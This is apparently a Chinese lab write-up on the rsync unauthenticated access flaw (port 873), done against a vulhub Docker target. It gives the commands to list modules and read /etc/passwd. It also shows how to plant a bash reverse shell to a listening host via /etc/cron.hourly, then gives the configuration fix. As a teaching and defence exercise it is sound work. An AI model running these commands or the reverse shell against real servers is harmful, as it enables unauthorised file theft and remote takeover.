1.漏洞名称

Rsync 未授权访问漏洞

2.漏洞原理

rsync是Linux下一款数据备份工具,支持通过rsync协议、ssh协议进行远程文件传输。 其中rsync协议默认监听873端口,如果目标开启了rsync服务,并且没有配置ACL或 访问密码,我们将可以读写目标服务器文件。

3.漏洞利用

vulhub环境靶机 : 192.168.91.130

攻击机:kali 192.168.91.128

一、环境搭建

vulhub环境搭建

​ 在纯净ubuntu中部署vulhub环境:

​ 1、安装docker,并用docker -v命令验证安装结果;
​ curl -s https://get.docker.com/ | sh

​ 2、安装python-pip,并用pip -V命令验证安装结果;
sudo apt-get install python-pip

​ 3、安装docker-compose,并用docker-compose -v验证安装结果
​ pip install docker-compose

​ 4、将vulhub解压至ubuntu一个路径下:/vulhub-master/
​ 5、进入到相应的漏洞下,docker-compose up -d命令启动容器,使用docker-compose down命令关闭容器。
cd /vulhub-master/rsync/common
sudo docker-compose build //建立

sudo docker-compose up

二、Rsync非授权访问

可以对目标服务器进行扫描:

nmap -p 873 192.168.91.130

扫描结果:



Rsync非授权访问利用

查看模块名列表:

rsync rsync://192.168.91.130:873/

查看src模块

rsync rsync://192.168.91.130:873/src

结果如下:



可以看到目标机器的目录已经被列举出来了:

利用方法

下载文件

rsync -av rsync://192.168.91.130/src/etc/passwd /root/passwd.txt

执行结果:



上传文件反弹shell

查看crontab配置文件:

rsync rsync://192.168.91.130/src/etc/crontab

下载crontab配置文件:

rsync -av rsync://192.168.91.130/src/etc/crontab /root/crontab.txt

查看其内容:



其中

17 * * * * root cd / && run-parts --report /etc/cron.hourly

表示在每小时的第17分钟执行run-parts --report /etc/cron.hourly命令

shell 写法如下:

#!/bin/bash
/bin/bash -i >& /dev/tcp/192.168.91.128/4444 0>&1

赋予执行权限:

chmod +x shell

将shell上传至/etc/cron.hourly

rsync -av shell rsync://192.168.91.130/src/etc/cron.hourly

本地监听:

nc -nvv -lp 4444

实验可以自己去修改/etc/crontab配置文件

查看docker容器 ID

docker ps



进入docker

sudo docker exec -it a6cb5e784225 bash



打开/etc/crontab配置文件(vim自己安装。。)

vim /etc/crontab

把时间修改成自己想要的就好



等待时间的到来即可。成功反弹shell

4.漏洞修复

vim /etc/rsync.conf

写入以下代码

hosts allow xxx.xxx.xxx.xxx
auth users = rsync
secrets file = /etc/rsyncd.passwd

新建一个文件

vim /etc/rsyncd.passwd

按一下格式写入能登陆的用户名和密码

username :password

就ok

最新文章

  1. Linux下的C Socket编程 -- 获取对方IP地址
  2. spring拦截器排除 静态资源
  3. XPath Axes(轴)
  4. 使用AsyncTask异步更新UI界面及原理分析
  5. innerText引发的错误
  6. width100%,设置padding或border溢出解决方法
  7. IOS-UI- UIScrollView 滚动视图(1)
  8. Linux Shell编程(18)—— 循环控制
  9. 用代码场景Spine人物
  10. 导航条——flash导航条
  11. ASP.NET MVC+EF框架+EasyUI实现权限管理系列(9)-TT模板的学习
  12. 简单工厂模式(Simple Factory Pattern)
  13. css 初始化样式
  14. spring boot集成redis的血泪史
  15. RESTful支持
  16. 邮轮ERP系统
  17. 前端学习历程--js--原型&闭包
  18. JAVA基础部分复习(五、JAVA反射)
  19. 机器学习实战之朴素贝叶斯进行文档分类(Python 代码版)
  20. Office 手动kms激活方法

热门文章

  1. 动手写一个LRU缓存
  2. SpringMVC 解析(三) Controller 注解
  3. Kubernetes:健康检查
  4. Solution -「多校联训」古老的序列问题
  5. Python基础—基础数据类型list(Day4)
  6. LibOpenCM3(一) Linux下命令行开发环境配置
  7. Redis持久化、主从与哨兵架构详解
  8. python2批量改密码
  9. docker为什么会出现
  10. ajax读本地文件